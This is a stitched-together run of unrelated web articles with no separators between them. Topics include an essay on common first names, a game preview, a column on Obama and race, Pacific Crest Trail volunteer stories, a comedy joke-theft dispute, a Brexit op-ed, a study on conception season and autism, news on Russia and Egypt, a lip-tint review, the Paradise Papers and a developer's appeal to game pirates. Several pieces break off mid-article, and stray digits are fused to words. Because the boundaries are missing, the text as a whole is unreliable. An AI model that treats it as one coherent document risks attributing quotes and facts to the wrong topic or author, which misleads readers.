Most of the Sarah’s I spoke with said that they didn’t feel much ownership over their name. “Sarah has never felt like it belonged to me or like it says much of anything about my identity,” says Sarah Balistreri, an educator in New York City. “It’s not my name so much as it’s a name I share with loads of other women. This is one of the reasons I knew from a pretty young age I wouldn’t change my last name, since I do derive a sense of self and family from it.”
Last names do seem to take on added importance for my sample group. “People often call me by my last name and I always love it, which again, may be the result of my last name being unique as opposed to my first name,” says Sarah Stoeckl, a writer who works in education technology. “I also like that my last name is not gendered, so it feels more like me-as-myself, rather than a ‘girl.’” (Not all Sarah’s have the benefit of a gender-free surname: My last name, “Todd,” is also a man’s first name that tends to call up images of pop-collared frat bros.)
Some Sarah’s said they actually appreciated sharing their name with other people. Sarah Kessler, a reporter at Quartz, told me that she always felt an instinctive affinity with the Sarah’s she met—they had something in common, right off the bat. “It was like we were part of a club,” she adds.
The joy of fitting in
There are definitely benefits to growing up with a common name, particularly as a child—when fitting in is paramount. Emily Arden, owner of the arts organization ReCreative Spaces, says that as a kid, she was delighted by how easy it was to find her name on keychains and other trinkets, and happy that the name translated across multiple cultures and nations. “I have a bowl my dad brought back from Paris with the French spelling, Emilie, that I’ve always loved,” she says. “It never bothered me that it wasn’t an ‘original’ name.”
“Chinese parents often give their kids names that reflect good fortune or a wish for their lives.”
Another Quartz coworker, growth editor Jennifer Chang, said that she appreciated that her parents—first-generation immigrants from Taiwan—had given her a popular American name. It made her feel more at ease among her classmates in a predominantly white elementary school in Texas. “Chinese parents often give their kids names that reflect good fortune or a wish for their lives,” she says, “something that will keep them safe or make them happy. So to give me a common name like Jennifer reflected a desire for me to be accepted as American.”
Many immigrants follow this logic when naming their children. A 2016 study published in the American Sociology Review, for example, looked at census data on Irish, Italian, German, and Polish immigrants in the late 19th and early 20th century. The authors found a strong correlation between second-generation immigrants with traditionally American first names and occupational achievement. They suggest that parents who chose an American name were signaling their families’ orientation toward cultural assimilation, which worked to their children’s advantage in a society often wary of outsiders.
Given the extent to which names are often linked with cultural acceptance, some countries have even gone so far as to restrict parents’ choices to government-approved names. In Denmark, parents must select their baby’s name from a list of 7,000 government-approved possibilities—an attempt to protect children from schoolyard bullying and quizzical stares. This approach seems in keeping with the country’s so-called “Jante law”—the idea of aspiring to be average, which in turn leads to happiness, as people are satisfied when ordinary things happen to them.
Icelandic parents must pick from an even smaller curated list: 1,800 girls’ names and 1,700 boys’ names. Sweden and Norway regulate baby names as well, and France had a list—heavy on the names of Catholic saints—until 1993. Of course, some names on government-run lists are bound to be more popular than others. But they’re all indicative of the countries themselves: often-homogenous cultures that prioritize assimilation and a sense of belonging.
Making names personal
In the US and the UK, by contrast, the overall trend is toward more unique names—indicative of these culture’s more individualistic mindsets. “Finding a name that has authentic roots, but is completely undiscovered, is the ultimate baby name status symbol,” Pamela Redmond Satran, founder of the baby-naming site Nameberry, told the New York Times in 2013.
Wattenberg adds that this cultural shift also reflects anxieties about economic mobility and competition. “Parents are worried about their kids’ futures and want to carve out shelf space in the marketplace of life,” she says. “Some think that standing out with a name will help their kids do that.”
When you live in a culture that values standing out, it’s no surprise that some people with popular names try to find ways to customize their names to better suit their personalities. Kati Haynes Gulde, a freelance musician, recalls considering the various nicknames available to her as a “Katharine.”
“Katie’s were always nice and soft, something homemade or home-baked,” she says. “Someone you met through your mom. Definitely creative. Katy’s were popular, athletic, intimidating. Kate’s are really cool. They skateboard. They don’t talk much. They’re mysterious.” Ultimately, Kati decided to go with Katie, then dropped the “e” from her nickname in the sixth grade. “I felt pretty unique after that,” she says.
There’s also the option of attempting to change your name to something a bit more unusual. When I went to boarding school at age 16, I thought about going by one of my middle names, Charlotte. But I ultimately stuck with Sarah. To be a Charlotte, I felt, meant committing to a particular kind of personality—someone polished and feminine, the kind of girl who went to art galleries on weekends and spoke flawless French. The issue wasn’t so much that I didn’t feel like a Charlotte as that I was afraid of not living up to it. Sarah, by contrast, was reassuringly commitment-free.
The gift
A recent study (pdf), published in the Journal of Personality and Social Psychology, confirms my suspicions about the anonymity conferred by a common name. Over the course of eight experiments, researchers asked people in France and Israel to look at photographs of strangers’ faces and guess their names from a list of five possible choices. Participants selected the correct name far more frequently than pure chance would allow.
Why are people able to guess the right names with such frequency? The researchers suggest it’s because our appearances are shaped by the cultural expectations and stereotypes associated with a given name.
“We show that people change their faces as they grow,” explains Anne-Laure Sellier, who co-authored the study and is a visiting assistant professor of marketing at New York University’s Stern School of Business. “You’re conditioned to look a certain way, because you want to fit in and be accepted.” We expect a girl named “Joy” to be cheerful and smiley, for example, so she develops a bright personality accordingly.
But there are exceptions. “If you think of a stereotype, a stereotype for Sarah is noisy,” says Sellier. There are too many examples—Sarah Michelle Gellar, Sarah Palin, Sarah Silverman, Sarah, Plain and Tall—to conjure up a firm association.
As to whether it’s a good or bad thing to grow up with a name that’s basically a blank slate, Sellier is uncommitted. “Maybe there are too many degrees of freedom and you don’t like it,” she says. “Too much choice is not good.” On the other hand, when you’re not saddled with cultural expectations about what a person with your name ought to look or act like, you can make of yourself what you will.
And that’s the gift my parents passed onto me when they chose my name. I may not have a name that feels particularly descriptive, but it has made me feel free. As a kid I knew Sarah’s who were bookworms and Sarah’s who were bold and popular, Sarah’s who could do tricks on the jungle gym and Sarah’s who were class clowns. I read about people with my name who were inventors and musicians and activists and writers. And so I grew up understanding that I might not have to choose. In this way, perhaps parents who give their children a common name are making their own kind of wish. Keep your options open, they’re saying. You could be anyone.
Final Fantasy Versus XIII In-Game Looks Like This At last year's Tokyo Game Show, Square Enix screened an in-game Final Fantasy Versus XIII cut… Read more Read
The latest issue of Japanese game magazine Famitsu has details about the PS3 title's gameplay. While the title is set in the same universe as Final Fantasy XIII, Final Fantasy Versus XIII has a different visual look and feeling to it.
Versus XIII is an open world game, allowing players to go everywhere save for the mountains. Players can drive around in a car, which they can exit and explore the area on foot. Objects that are found on the road can be destroyed as well.
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It is possible to see some of the enemies that are wandering around, but some enemies will suddenly appear and surprise players.
I don't think I'll be breaking any news by pointing out that I'm a fan of the president. And I am not a fan simply because he is black and smart. We have a lot of that. I am a fan of his uncommon imagination. I am thinking of that moment in his address on drone policy a few weeks ago when the president was heckled. Instead of shouting down the protester, he acknowledged her point. And it's not so much that this acknowledgment reflected some deep insight, it was that it was the kind of generosity and wisdom that we are not used to seeing from those who wield existential power. And this actually extends to race. Whatever my critique of his 2008 race speech (and I have one), it's very hard to argue that -- within the context of American history -- the speech is not an incredible document. (Very few Americans even know what redlining is.)
My disappointment with how Obama addresses black people originates in the fact that I believe he, quite literally, knows better and could do better. It is not enough to point out that crowds of black people cheer him on. Greatness demands that you not just make people cheer, that you not just grant them "Oh my people" catharsis, but that you make them think. This is about legacy. This is about asking whether "First Black President" will simply be an accidental honorific.
I think back to Barack Obama's favorite president -- Abraham Lincoln. Lincoln is my favorite, too. What I remember about Lincoln is that, in his last public speech, he committed himself to suffrage for black men who'd fought for their freedom in the Civil War. This would have been (and eventually was) a major step in the long war toward true democracy. The next day, Lincoln was shot for his willingness to make that step. He is my favorite for more than his ability to forge compromise. He is my favorite because he is, at the end of the day, a man who laid down his life in a war against our greatest illness -- white supremacy. What does such a legacy call those of us who admire Lincoln to then do? Is it enough to make the kind of individual moral appeals we hear at family reunions and church services every year? Is it enough to simply speak words that make those who love us most cheer? Or all we ultimately called to something more?
In 2010, volunteers formed the PCTA Chapter – North 350 Blades to maintain the northern 350 miles of the PCT, from Chinook Pass to the Canadian border. Each year the group strives to clear the mass of fallen logs and overgrown brush from the trail and to maintain drainage features that help shed water from the trail in this notoriously wet and snowy region. After six seasons of work under their belt, a subset of the North 350 Blades (Blades North) is now actively maintaining the trail as far north as Highway 20 (North Cascades Hwy). Four key elements make this possible:
Five new volunteer stewards adopted and care for an additional 25 miles of the PCT. PCTA held the first North Cascades Trail Skills College last April in the Mt. Baker-Snoqualmie National Forest Darrington Ranger District – a neighbor unit to North Cascades National Park and the Methow Valley Ranger District to the east. Trail Skills College was a great opportunity for local volunteers to learn new and refine existing trail maintenance skills. Volunteers now have access to a fully equipped tool cache at the Darrington Ranger Station. In 2016, PCTA signed a long-term volunteer agreement with North Cascades National Park.
This last point set the stage for the first ever PCTA volunteer crews to work within North Cascades National Park. The volunteer agreement also allowed volunteer stewards to adopt and regularly maintain sections of trail within the park boundaries.
Most of the Blades North crew is new to trail-work, but they all have a shared passion for long-distance hiking. Six Blades North volunteers are on the 2,600 miler list and sport PCT completion medals. Thanks to Trail Skills College training and the mentors they’ve found in the North 350 Blades leadership, Blades North volunteers contributed 2,152 volunteer hours this season! (Last year as this group was forming, volunteers contributed just over 100 hours.) To provide even more perspective, note that the North 350 Blades as a whole recorded a bit more than 4,800 hours in 2015. Volunteer activity in the far north increased exponentially this season thanks to the passion and dedication of the North 350 Blades and their Blades North cohorts.
The following paragraphs are their stories in their words. They talk about what happened, how diverse their group is, how much fun hard work can be, and how productive passionate volunteers can be when given training, clear direction and proper resources.
Liz Donovan, thru-hiker, starts volunteering big-time
“When I thru-hiked the Pacific Crest Trail last year, I was consistently humbled by the wonderful, selfless people who volunteered their time and energy to make the trail possible. As a long-distance hiker, I felt like the trail was my home, but a home that I hadn’t done anything to build or maintain aside from following Leave No Trace principles along my journey. I saw it as a gift, and one that I wanted to help give again to the next generations of hikers.
This year, I attended Trail Skills College and did my first volunteer weekend with the North 350 Blades at Rainy Pass (mile 2,588.9). While part of our crew went up toward Cutthroat Pass to clear 50-plus trees that blew down last winter, several other volunteers and I stayed near the highway to put up new PCT trail markers. One of the other women in our group had thru-hiked in 2014, and another was from South Africa and planned to spend three vacation days doing different activities on the PCT. We dug deep holes with a post-hole digger and placed the new 6×6-inch signposts in the ground. After making sure the posts were straight, we stabilized them with rocks and mineral soil, and tamped everything down with a single-jack hammer. Those signs aren’t going anywhere!
It was so exciting to hear people pulling up in cars exclaim that we had made it so much easier to find the trail. It seemed like a relatively minor project, but it clearly makes a difference in the way people experience the trail.
Since then, I’ve been able to volunteer a full week of work on a PCTA Sasquatch Volunteer Vacation in the Goat Rocks Wilderness, in addition to several more weekends on some of my favorite sections of trail. I’ve learned about how trails are engineered, how different drainage techniques work and how to build a rock wall, and have done a lot of brush and tread work. I loved the trail as a thru-hiker, but now I see it with new eyes, and feel like I experience it with a new sense of pride and stewardship. Next year I’m looking forward to learning about crosscut sawing and giving back as a more experienced volunteer.”
– Liz Donovan
Leader extraordinaire, Roberta Cobb, breaks new ground
“This year I was lucky enough to lead a crew in North Cascades National Park. I coordinated with Rosemary Seifried, Wilderness Information Center Supervisor with the North Cascades National Park. Rosemary is highly organized, making the planning even easier. We hiked in about 7 miles and set up camp at South Fork. A wonderful volunteer packer, Darryl Weidkamp, loaded our crew’s food, gear and tools on his horses and mules and hauled it to our backcountry campsite. Our seasoned and excellent camp cook, Karla Hawley, fed us like champions. What a treat to be served fresh mangos after trail work.
Work-wise, we accomplished our goal of installing new signs at five locations, plus we fixed a stretch of trail that had slumped. It was a treat to be on this beautiful stretch of PCT and Maple Creek provided a special cool foot soak on a very hot day!”
– Roberta Cobb
Shannon Cunningham dives deeply into a love affair
“It’s hard to believe that in my first season with the North 350 Blades I already have eight trail work weekends under my belt. The work has varied from assisting volunteer sawyers above Rainy Pass and Stevens Pass, gaining experience in the crosscut saw world of gullets and rakers above Janus Lake, replacing aging signage in the North Cascades National Park by hand-drilling and notching, brushing back ever-creeping foliage with spinning blades or handheld loppers, and repairing miles of trail weathered by water and a parade of boot prints. There have been blisters and sore muscles, laughter and comradery.
I have to admit, during my second work party in the national park, it was bittersweet to replace the signs between Stehekin and Rainy Pass. They hold a place in my memory as marking a long awaited campsite or a stopping point for a hearty snack and laughter with friends. But the trail is an ever-evolving, living thing, and just as we must repair worn tread and cut back creeping brush, we must change to signs that better direct us on our path.
My trip to Hart’s Pass at the end of September was more than brushing and repairing trail creep from meadow greenery, it was watching hikers moved to tears as they thought about those last few steps on the trail and remembering that same emotion I had when I walked up to Monument 78 and touched Canada after walking 520 miles from the Oregon border.
These volunteer trips have not only solidified my desire to be a part of the PCTA North 350 Blades and their work on the PCT, but helped me to reflect even more on my own trail journey. I am becoming more than someone with a PCT story. I am now a part of the history of the PCT with every sign I help install and every tread I help reconstruct. I adopted a section of the PCT and will scout it and make sure it receives the TLC it needs to remain safe. I am looking forward to continuing a two way relationship with the trail I love.”
– Shannon Cunningham
Teresa Skye steps in to help the far northern PCT
“The weekend of July 23-24 had everything: seasoned sawyers and new members working side by side, along with PCT hikers and possibly a volunteer from the furthest place ever – South Africa! This group of North 350 Blades volunteers gathered to work a stretch of trail from Rainy Pass north about five miles, plus an additional mile of connector trail south along Highway 20. The first day we cleared approximately 46 fallen trees from the trail. This was after a similar group had been up there three weeks earlier and “logged out” 45 trees. Yes, it was a hard winter in the great northwest.
On our trip, others placed posts and PCT trail signs at strategic places. There has always been a bit of confusion about where the trail crosses Highway 20 going south. The new signs we installed makes it much clearer now. The same is true about where to get on the PCT at the Bridge Creek trailhead, so we placed signs, cleared brush and improved the trail tread to alleviate a lot of confusion.
After a full day of trail work, the group had a great pasta dinner at Klipchuck Campground and enjoyed a visit from a surprise guest speaker, Methow Valley District Ranger Mike Liu. Mike very graciously discussed the trials and tribulations of trail maintenance in today’s world of dwindling budgets. He was very appreciative of the work our volunteer crew accomplished.
The next day we concentrated on the south side of the highway, working on logging and brushing the mile-long connector trail. Part of the crew did some preparatory work on a funky bridge over Bridge Creek that hopefully will be reinforced on a future work weekend. We had two section-hikers join us in addition to Lisa from South Africa. She checked out the PCTA volunteer program online and thought it’d be a great learning experience to join a trail crew for a weekend. We were delighted to have her, as well as all the great folks who participated!”
– Teresa Skye
On Wednesday, a video surfaced on Vimeo titled "Amy Schumer is a Joke Thief." The almost six-and-a-half-minute compilation splices together footage from Schumer's HBO special, her Emmy-award-winning sketch show Inside Amy Schumer and her film Trainwreck with jokes performed by other standup comedians.
Some of the claims seem baseless — the poster for Trainwreck, for instance, would've been designed by the studio's marketing team rather than Schumer herself.
But other incidents may raise eyebrows, especially knowing that the video comes after comedians Wendy Liebman, Kathleen Madigan, and Tammy Pescatelli — all of whom appear in the clip — took to Twitter Monday night to slam Schumer for stealing material. At one point, they even compared her to Bill Cosby.
Their tweets were then deleted, but not before Interrobang grabbed them.
Liebman (whose tweet ignited the firestorm) now seems to be backing off her accusations, saying it may have been possible Amy wrote similar jokes without hearing her material first.
It's all good. — Wendy Liebman (@WendyLiebman) January 19, 2016
I never said @amyschumer stole my joke.I just said it was the same.It's possible we both wrote it.I just wanted you to know I wrote it 1st. — Wendy Liebman (@WendyLiebman) January 20, 2016
It's not the first time Schumer has been accused of stealing material. Following the premiere of her HBO special in October, media pointed out that Schumer's jokes about curious sex acts mirrored a similar routine by the late Patrice O'Neal, who happens to have been a friend of Schumer's.
Schumer denied the claims in a tweet, saying she had never heard O'Neal's joke. Other fans came to her defense saying while the material they both riff on is similar, the punchlines are varied. And comedian Jim Norton, a close friend of both Schumer's and O'Neal's, leapt to her defense, calling accusations of joke theft "ignorant."
Thanks man. I have never seen that Patrice bit but I will watch today. I love and miss him. https://t.co/4hxlDgF7Bi — Amy Schumer (@amyschumer) October 19, 2015
The comedy world has been fraught with beefs over stolen material, especially over the past decade or so. The most famous fights include those between Carlos Mencia and Joe Rogan, The Fat Jew and Patton Oswalt and, most notoriously, Louis C.K. and Dane Cook — who eventually addressed their tiff on C.K.'s FX series Louie.
Domestically, it’s understandable. Remainers can’t agree on tactics. Leave leaders push for the most brutal Brexit possible, with plenty of support from the Tory back benches. ‘Liberal Leavers’ find themselves marginalised. May has no need to fear Jeremy Corbyn (whose heart isn’t in this fight anyway); for now, her greatest threats sit behind her. Whose agenda is she likely to back?
So Brexiters hope the EU-27 will simply roll over and offer Britain nearly all its preferred benefits with almost none of its perceived obligations. Mutual interest (defined in British terms) will win out, they say. They mistake the balance of power in the negotiations. They give needless offence and encourage partners to rally against us. Above all, they misunderstand the politics and psychology of the Union they want to leave.
First: ministers argue that as the UK has a trade deficit with the EU-27, the EU-27 has more interest than we do in making British trade no harder than it is now. Leave the mercantilist nonsense that trade is a zero-sum game to one side; just note that 44% of British exports go to the EU-27, while only 8% of EU-27 members’ exports go to us. Note, too, that not all EU members suffer equally from Brexit. And EU-27 trade matters more to other members (yes, including Ireland) than trade with the UK.
Second: some anger with Britain is inevitable. The EU-27 feel rejected; divorce is ugly; human nature and wounded pride conspire against easy goodwill. But because Tories are only talking to British voters and virtually ignoring the continent, we’re rubbing salt into the wounds. May’s stridently nationalist conference speech left the rest of Europe aghast. Calling free movement’s central status a ‘total myth’ and ‘bollocks’ is as offensive as it is inaccurate.
But third and above all, May makes a cardinal error in diplomacy: she assumes the rest of the EU thinks as Britain does. In the end, Britain always treats the EU as a transaction – a trade-off of sovereignty for pragmatic ends. Sure, it doesn’t just think it’s about the money (though let’s face it, it does mainly think it’s about the money). But with few exceptions, British ministers never bought into ‘Europe’ as an ideal. Cameron gloried in his refusal to do so.
It would be absurd to say other governments have no transactional interest in the EU. But it’s not the whole story. Other members believe in the European idea (or at least are invested in it) in a way Britain never really did. The original six members remember what three Franco-German wars in 70 years did to Europe. Spain, Portugal and Greece (yes – despite everything, it doesn’t want Grexit) remember military dictatorship and their journey to the EU afterwards. Eastern European countries remember the two vicious world wars and their communist past, from which they escaped only recently. A Polish foreign minister told his British audience so in no uncertain terms in 2012:
Do not underestimate our determination not to return to the politics of the 20th century. You were not occupied. Most of us on the continent were. We will do almost anything to prevent that from happening again.
This shouldn’t be so hard to understand. Britain voted to leave the EU in the face of the economics. Anti-Europeans glory in Britain’s uniqueness. Leavers complained bitterly about ‘political union’. Why, then, can they not grasp that our partners see things differently and won’t put sales of prosecco above the integrity of the European project? How can they not see that Angela Merkel – the daughter of a Lutheran pastor who grew up in atheistic East Germany, who knows the terrible German history which gave birth to the EEC and understands what recently-won freedom means – will (rightly) put the EU above exporting Volkswagens?
British people often object at this point. Why, they ask, can’t a project built for peace and democracy survive without deterring people from leaving it? Well, saying countries which participate in EU projects need to follow the relevant rules is actually pretty reasonable. The EU also legitimately fears the unstitching of the single market if every country can unpick anything it dislikes. But more importantly, the critics are confusing belief in an ideal with blind faith in human nature.
The EU stems from memories of the old Europe, of how low nations and people could sink – from fear, at least in part, of the dark heart of man. Scepticism about human (or unconstrained nation-states’) nature and idealism about the European project are inextricably linked. It’s a precious achievement built not on faith in human civility, but on the need to curb human barbarism. The EU-27 fear for the survival of their project. That obviously stems partly from its many problems. But a nervousness, a belief that something so painstakingly built could easily fall apart, is a feature of European integration – not a bug.
As populist, xenophobic authoritarianism crashes over the West, the EU-27 will fear a return to the darkness all the more. I understand their fear, because I share it. Britain deludes itself if it thinks its faith in balance sheets will come out on top.
The study, published in the September issue of the American Journal of Epidemiology, suggests that the season of conception accounts for 11.4 percent of cases of autism, intellectual disability and learning difficulties, such as dyslexia.
Exposure to influenza and the dearth of sunlight — which provides vitamin D — during winter pregnancies may drive the increased risk, says lead researcher Jill Pell, director of the University of Glasgow’s Institute of Health and Wellbeing.
Small studies have linked autism risk among children to season of birth or conception. A 2010 study of 86 British children with autism found that 15 children were conceived in July compared with just 5 conceived in October2.
Pell and her team set out to confirm these findings in a much larger group that includes nearly 8,000 children with autism. The researchers also wanted to see whether the season of conception factors into the rates of other developmental conditions.
The team mined two Scottish registries — one containing maternity records and another containing school census data. They linked each child’s month of conception to any special education needs stemming from a diagnosis of autism, intellectual disability, learning difficulties, communication problems, vision or hearing impairments or motor delays.
Overall, 8.9 percent of children conceived in the winter months — between January and March — have autism, intellectual disability or learning difficulties, compared with 7.6 percent of children conceived between July and September. The seasonal uptick may seem modest, but it accounts for almost 8,000 children with developmental conditions, the researchers say.
“If you apply that [difference] across 800,000 children, that’s a lot of cases,” Pell says.
Winter blues:
The rate of intellectual disability is highest among children conceived in February and lowest among those conceived in August, the researchers found. The rate of learning difficulties, such as dyslexia, is likewise highest among children conceived in February and lowest among those conceived in July.
When the researchers looked at the seasonal pattern of autism cases, they observed a shift toward April, which is typically warmer than the first three months of the year in Scotland. Similar to intellectual disability and learning difficulties, autism rates were lowest among children conceived in August.
The absolute risk of autism remains small, however. Roughly 1 percent of babies conceived during cold months have autism compared with 0.9 percent of babies conceived in warm months.
The findings cast doubt on earlier suggestions that autism rates peak among children conceived in the summer. The new study draws from the largest population to date, Pell says, but additional studies may be needed to resolve the disparate findings.
The study did not uncover any seasonal effects on the risk of communication problems, vision or hearing impairments or motor delays. “These seasonal patterns are very clear, very statistically significant, and they’re specific to brain development conditions,” Pell says.
The researchers speculate that the seasonal effects stem from vitamin D deficiency during the first trimester of pregnancy, which coincides with a period of intense fetal brain development. “In Scotland, within those winter months, you don’t have enough sunlight for the mother to generate vitamin D, so the babies might be deprived of it as they’re developing,” Pell says.
Scotland also sees a spike in influenza cases during the first few months of the year, Pell says. A 2012 study found that flu during the first trimester of pregnancy doubles the risk of having a child with autism.
July 28, 2015, 5:51 PM GMT / Updated July 28, 2015, 5:53 PM GMT By Alexey Eremenko
Russian prosecutors on Tuesday formally labeled the Washington-based National Endowment for Democracy, a nongovernmental foundation funded by Congress, as an "undesirable" organization — banning it from operating in the country.
In a statement on its website, the General Prosecutor's Office accused the foundation of working to disrupt national elections, influencing Russian authorities and discrediting the Russian army. The foundation is the first victim of a new law to expel foreign NGOs believed to be working against Russian interests.
Russians who continue working for such groups face up to six years in prison.
The National Endowment for Democracy could not be immediately reached for comment. The bipartisan nonprofit was founded in 1983, and works in more than 90 countries. The group spent more than $5 million in Russia in 2013-14, prosecutors said.
Related: Russia's Putin: U.S. Is Acting Like Soviet Union After WWII
Russia's parliament drafted a list this month of a dozen "undesirables," most of them U.S. nongovernmental organizations such as Freedom House and George Soros’s Open Society Foundations. Another group, the Chicago-based MacArthur Foundation, has voluntarily folded its Russian operations.
EGYPTIAN authorities rounded up dozens of members of the Muslim Brotherhood yesterday after listing it as a terrorist group, threatening its leaders with execution, while one person died as tensions spilled on to the streets of Cairo.
A bomb blast hit a bus in northern Cairo yesterday, wounding five people.
US Secretary of State John Kerry condemned the crackdown and "expressed concern" about the designation of the Muslim Brotherhood as a terrorist group, in a phone call with his Egyptian counterpart, Nabil Fahmy.
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The intensified crackdown on the Brotherhood, which prevailed in a series of polls held after the 2011 overthrow of Hosni Mubarak, came after the military-installed government blamed it for a suicide bombing at a police headquarters that was claimed by a jihadist group.
Army chief General Abdel Fattah al-Sisi, who has ridden a wave of popularity since ending Mohamed Morsi's divisive year-long presidency in July, vowed to eliminate terrorism and urged Egyptians to trust the military.
The latest explosion shattered the windows of a red and black bus as it passed near a busy intersection in the capital's Nasr City neighbourhood.
Construction worker Mahmud Abd al-Al described scenes of panic after the attack, saying the victims were "covered in blood" and one man lost a leg.
Interior Ministry spokesman Hany Abdel Latif said a pipe bomb had been set to go off remotely, and was "meant to terrorise people before the referendum" on a new constitution next month. The interim government has billed it as the first step in a democratic transition ahead of parliamentary and presidential elections.
It has also introduced a raft of tough new measures against the Brotherhood, its only credible rival. "Whoever leads this group can be punished with up to a death sentence," Abdel Latif told state television, adding that anyone taking part in Brotherhood protests could be sentenced to five years in prison.
Defiant student supporters of the Brotherhood took to the streets yesterday, clashing with anti-Morsi residents in an incident that left one person dead, the interior ministry said. Seven Brotherhood supporters were arrested after police intervened with teargas.
The Brotherhood has experienced a dramatic fall since Mr Morsi was overthrown on July 3 amid massive protests. He was accused of betraying the 2011 "revolution" that toppled Mubarak by allegedly consolidating power in the hands of the Islamist group.
The Brotherhood organises almost daily protests, despite more than 1000 people, mainly Islamists, having been killed in street clashes in recent months and thousands of arrests, including the group's top leaders.
Yesterday, Egyptian prosecutors ordered the arrest of at least 18 Brotherhood members on the grounds of belonging to a terrorist group, state media reported.
Police also arrested 16 suspected members for passing out leaflets and "inciting violence", it said.
At the scene of yesterday's attacks, 40-year-old Fadiya chanted "The Muslim Brotherhood people are dogs", as police pushed her away. "My country is bleeding. Everybody is scared now in Egypt, even the police are scared," she said.
The Brotherhood, which renounced violence in the 1970s, condemned Tuesday's attack on a police headquarters north of Cairo, which was later claimed by a Sinai-based jihadist group, Ansar Beit al-Maqdis.
Authorities say there are links between Ansar Beit al-Maqdis and the Muslim Brotherhood but have offered no proof.
The allegations have nevertheless struck a chord with many Egyptians who grew to fear and despise the Brotherhood during Mr Morsi's troubled reign.
"This is not the city I used to know," taxi driver Ihab Abdelmoneim said after yesterday's bombing. "Today, I am scared of the passenger who sits in my taxi, and he is scared of me."
So earlier this week, I picked up a new lip product that really intrigued me:
This lip tint is light-weight, watery, and comes in a sturdy (I’ve dropped it on a tile floor already haha) glass bottle with a twist-off cap and doe-foot applicator:
They only had two shades available at Watson’s – this Cherry color and another pink one – but maybe there are more varieties available online.
EDIT: Yes! There are more varieties available. And just a note – Urban Outfitters sells these on their website!
INGREDIENTS:
Water, Butylene Glycol, Alcohol, Glycerin, Carica Papaya Fruit Extract, Butylene Glycol, Portulaca Oleracea Extract, Arnica Montana Flower Extract, Artemisia Absinthium Extract, Achillea Millefolium Extract, Gentiana Lutea Root Extract, Glycolic Acid, Peg-60 Hydrogenated Castor Oil, Lactic Acid, Sodium Lactate, Salicylic Acid, Disodium Edta, Methylparaben2, Propylparaben, Fragrance
Now, you guys, this is actually my first red lip product, haha! I swatched it on my hand in store though, and it didn’t seem too in-your-face, so I gave it a go!
Here are my before-and-after pictures:
So this is just one layer, pretty much – it can be a bit tricky to apply since it’s so watery in consistency, but you just have to use a light touch and try to cover your lips evenly, or the color might end up stronger/lighter in some parts than others! It soaks in pretty quickly, but there’s also enough time to wipe any mistakes off before it sets completely!
It’s very buildable and you can definitely get a bright, bright red using this stuff. I just went for one or two layers. Here’s my FOTD with it:
So even after it soaks in, it does take several minutes to actually stain your lips – so be careful about wiping your lips on anything for the next 10 minutes after you apply! But once it sets, the color doesn’t seem to transfer on anything you drink/eat. I will say that if you apply chapstick over it (which I did) a tiny bit might come off, but if I’m gentle with the chapstick, it’s fine.
Also, the color might collect a little in dry patches, so I’d recommend using this on exfoliated and moisturized lips for a flawless application.
This doesn’t have much of a scent, but it does kind of smell fruity if I really sniff it.
As far as wear goes, this is okay. I wouldn’t say that it looks exactly the same at the end of my day – it does wear off a bit over time, but it stains your lips well enough that you can still tell you have lip color on by the end of the day. It’s not as bright/vibrant as it is just after application, but it’s still there.
All in all, I like it a lot! Especially because I’m not afraid of it transferring when I eat/drink/kiss! My regular lipstick/tinted chapstick/lipgloss transfers so bad on my coffee mugs, my boyfriend, everything, so this is a game-changer for me! I think I’ll be picking up the pink shade I saw at Watson’s as well, and I’ll do a FOTD for you guys when I buy that one! 😀
I just LOVE the fact that this stains my lips, because it looks like my REAL LIPS… when I use lipstick or gloss, you can tell that I have something on, but with this… you can’t! It just looks like my lips are naturally this luscious, sexy red color. XD
Have any of you tried these? What other lip products have you tried from Peripera? Any recommendations?
"MAS is reviewing the information released by the International Consortium of Investigative Journalists (ICIJ). We will take action against any financial institution or individual that breaches our regulations," it said on Tuesday (Nov 7) in response to Channel NewsAsia's queries.
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Asiaciti has denied all wrongdoing in a statement.
A trove of leaked documents dubbed the "Paradise Papers" have disclosed embarrassing details about how the global, super-rich elite have been stashing funds in offshore tax havens.
More than 120 politicians and world leaders, including Queen Elizabeth II have been named in 1.4 terabytes of data released by ICIJ on Sunday. The documents also reveal how multinational companies like Apple and Nike are avoiding taxes.
The latest haul contains 13.4 million documents mainly from Appleby, an offshore law firm with offices in Bermuda and beyond, while there are about half a million records from Singapore company Asiaciti Trust, ICIJ said.
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MAS said that it requires all entities licensed to carry out trust business to conduct "adequate due diligence" on their customers to detect and mitigate money laundering risks, and to ensure that their offshore vehicles are used for legitimate purposes.
"If there are any grounds for suspicion, the trust company must file a suspicious transaction report, step up monitoring of the customer and take appropriate risk mitigation measures," an MAS spokesman said.
ICIJ described Asiaciti as a "family-run offshore specialist that is headquartered in Singapore and has satellite offices from Samoa in the South Pacific to Nevis in the Caribbean".
Its clients include Chinese millionaires, family members of a Kazakh official convicted of corruption and a broad swath of Americans, including doctors, poker players and a Colorado alfalfa farmer, the consortium said.
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Asiaciti said that it complies with "applicable laws and regulations" at all times, in an online statement issued on Monday.
"We are regulated by highly competent authorities in the jurisdictions in which we operate and are committed to achieving the standards required. We absolutely deny any implication of wrong doing," the statement said.
It added that the documents seen by the ICIJ, which account for about 4 per cent of the information in the Paradise Papers, were stolen.
There are many ways of trying to influence those who like to share files online. Mostly the influence comes from the likes of the MPAA, RIAA and IFPI, who universally like to ‘persuade’ would-be file-sharers with the threat of legal action, actual legal action and propaganda. This approach doesn’t work.
There are softer approaches available. In 2007 we interviewed Trey Harrison, a developer who instead of threatening the people who cracked his software (‘Salvation’), actually took the time to engage them instead. The group responsible actually agreed not to crack any more of his software – quite a result.
Now it is the turn of ACE Team, an independent game development studio located in Chile. Their latest game, Zeno Clash, is described as a fighting/first person shooter and was nominated in January as a finalist in the Independent Games Festival competition, in the category of ‘Excellence in Visual Art’.
Of course, none of this can stop a game being pirated and Zeno Clash has turned up on various torrent sites – nothing out of the ordinary there. However, what is unusual is the developers’ response to the situation. Instead of getting in touch with the sites and demanding that the torrent be removed, ACE Team have decided to tackle would-be pirates head on – with an appeal posted in the comment sections of the torrent.
I’m one of the developers of Zeno Clash. I would appreciate you read this if you are about to download this file. Zeno Clash is an independently funded game by a very small and sacrificed group of people. The only way in which we can continue making games like this (or a sequel) is to have good sales. I am aware that at this moment there is still no demo of the game, but we are working on one which will be available soon. We cannot do anything to stop piracy of the game (and honestly don’t intend to do so) but if you are downloading because you wish to try before you buy, I would ask that you purchase the game (and support the independent game development scene) if you enjoy it. We plan on updating Zeno Clash with DLC and continuing support for the game long after it’s release. Thanks for taking the time to read this… hopefully it will make a difference. Carlos Bordeu
ACE Team
